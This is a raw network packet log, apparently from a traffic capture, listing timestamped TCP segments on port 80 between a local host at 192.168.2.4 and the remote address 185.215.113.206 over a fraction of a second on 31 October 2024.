Oct 31, 2024 07:14:31.513583899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513637066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.513649940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.513686895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513698101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513708115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513719082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513724089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.513730049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513740063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513745070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.513751984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513761997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513771057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.513772011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513782978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513787031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.513796091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513808966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.513820887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513832092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513839006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.513843060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513855934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.513883114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.513892889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513904095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513911963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513922930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513932943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513936043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.513945103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513951063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.513972998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.513997078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.514036894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514053106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514062881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514070988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514075994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.514081955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514092922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514101028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.514101982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514113903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514116049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.514147043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.514188051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514199972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514209032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514221907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514226913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.514233112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514245987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514254093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.514259100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514271021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514281034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514281988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.514295101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514303923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.514311075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.514312029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514323950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514336109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.514358997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.514575005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514586926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514595985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514606953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514616013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.514619112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514630079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514640093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.514640093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514652014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514666080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.514667034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.514681101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.514708996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.518404961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.518414974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.518461943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.518532038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.518543005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.518554926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.518563986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.518574953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.518574953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.518594027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.518621922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.518646002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.518656969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.518668890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.518680096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.518687010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.518704891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.518704891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.518719912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.518731117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.518737078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.518742085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.518763065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.518784046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.518806934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.519105911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.519117117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.519126892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.519145966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.519157887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.519226074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.519246101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.519260883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.519267082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.519273996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.519284010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.519293070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.519306898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.519335032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.519447088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.519458055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.519469023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.519484043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.519491911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.519507885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.519510984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.519522905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.519531965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.519541979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.519551992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.519560099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.519586086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.519604921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.519617081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.519630909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.519644976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.519659042 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.519670010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.520003080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.520015955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.520025969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.520036936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.520040989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.520049095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.520064116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.520071030 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.520092010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.520107985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.520118952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.520128012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.520138979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.520144939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.520149946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.520157099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.520163059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.520174026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.520176888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.520200014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.520210981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.520243883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.520255089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.520265102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.520275116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.520282030 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.520287037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.520294905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.520298958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.520312071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.520320892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.520334005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.520361900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.520878077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.520917892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.520983934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.520993948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521006107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521015882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521018028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.521028042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521032095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.521040916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521049976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.521071911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521076918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.521084070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521089077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521099091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521117926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521121979 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.521128893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521136999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.521141052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521150112 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.521152973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521181107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.521194935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521203995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.521207094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521219015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521229982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521233082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.521248102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.521260023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.521778107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521820068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.521836996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521856070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521866083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521874905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.521878004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521889925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.521892071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521903992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.521913052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521917105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.521924973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.521936893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.521949053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.521965981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.545841932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.545880079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.545887947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.545911074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.545928001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.545941114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.545952082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.545962095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.545978069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.545980930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.545994997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.546003103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.546036005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.546108007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.546127081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.546137094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.546147108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.546165943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.546209097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.546227932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.546237946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.546248913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.546268940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.546271086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.546310902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.546399117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.546438932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.546472073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.546483040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.546493053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.546510935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.546521902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.546539068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.546545982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.546585083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.546601057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.546638012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.546669006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.546680927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.546690941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.546701908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.546706915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.546721935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.546730042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.546741009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.546741009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.546766996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.546789885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.546905994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.546926022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.546936035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.546955109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.546972990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.547040939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.547051907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.547063112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.547072887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.547106028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.547230005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.547240019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.547250032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.547261953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.547295094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.547324896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.547336102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.547347069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.547359943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.547384977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.547564030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.547574997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.547593117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.547602892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.547612906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.547622919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.547629118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.547633886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.547645092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.547655106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.547672033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.547702074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.547713041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.547724009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.547734022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.547744989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.547755957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.547755957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.547790051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.547805071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.588845015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.588915110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.588953018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.588975906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.588989019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.588999033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.589001894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.589011908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.589018106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.589025974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.589036942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.589046955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.589049101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.589075089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.589076042 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.589104891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.589121103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.589214087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.589222908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.589234114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.589245081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.589255095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.589261055 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.589267969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.589279890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.589281082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.589287043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.589293957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.589318037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.589337111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.589337111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.589349031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.589371920 CET	49758	80	192.168.2.4	185.215.113.206
